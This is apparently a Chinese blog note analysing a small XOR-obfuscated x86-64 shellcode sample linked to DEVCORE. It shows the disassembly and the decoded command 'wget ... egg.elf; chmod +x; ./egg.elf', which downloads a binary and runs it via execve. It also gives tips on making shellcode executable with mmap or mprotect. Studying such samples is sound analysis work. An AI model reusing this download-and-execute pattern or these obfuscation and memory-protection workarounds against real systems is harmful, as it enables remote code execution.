https://godbolt.org/z/M1q3G738M
最近看到devcore裡的大大寫了一個shellcode
好奇來玩一下順便分析.
用gcc編譯好後,餵給 peda-gdb or objdump -D -M intel
4005d4: 68 4e 00 00 00 push 0x4e
4005d9: 5b pop rbx
4005da: 66 81 ec 00 01 sub sp,0x100
4005df: 4c 8d 05 28 00 00 00 lea r8,[rip+0x28]
4005e6: 54 push rsp
4005e7: 5a pop rdx
4005e8: 80 fb ff cmp bl,0xff
4005eb: 74 0d je 4005fa <shellcode+0x3a>
4005ed: 41 8a 04 18 mov al,BYTE PTR [r8+rbx*1]
4005f1: 34 cc xor al,0xcc
4005f3: 88 04 1c mov BYTE PTR [rsp+rbx*1],al
4005f6: fe cb dec bl
4005f8: eb ee jmp 4005e8 <shellcode+0x28>
4005fa: 48 31 c0 xor rax,rax
其中比較關鍵的一段是 0x4005e8 開始的這段迴圈
要跑0x4f(00~4e)次,這段一直在取值(密文)從shellcode後面
這裡開始bb ab a9 b8 ec ....
一開始取的值是[r8+rbx]
R8 : 0x40060e
rbx:0x4e
r8+rbx:0x40065C
這位置的值是7c
其實迴圈前面幾次取得值已經超出shellcode範圍
因為shellcode最後一個addr是
400643: a9 ab e6 aa cc
不知道為什麼一開始要取超出這個範圍
迴圈之後會從shellcode尾巴往回取值,
然後和0xcc做xor運算,看起來是在stack構造字串
wget -q conf.devco.re/2024/egg.elf;chmod +x ./eg*f;./eg*f
不想一直跑迴圈的話,可以直接在 xor rax,rax 的位址處下斷點.
最後再透過execve syscall來執行這行指令.
然後下載的egg.elf看起來就只是印字串而已.
PS1:
有時可用 online decompiler 工具來輔助分析
https://dogbolt.org/
PS2:
在新版本GCC下(v8後),因為保護機制的關係,這段code
編譯好後無法正常執行,可以透過mmap來把code放在
可執行segment.
https://godbolt.org/z/vcTMKndzf
另外還有一種方法用mprotect
來修改shellcode所在的page屬性為可執行
https://godbolt.org/z/6oTT7fqvj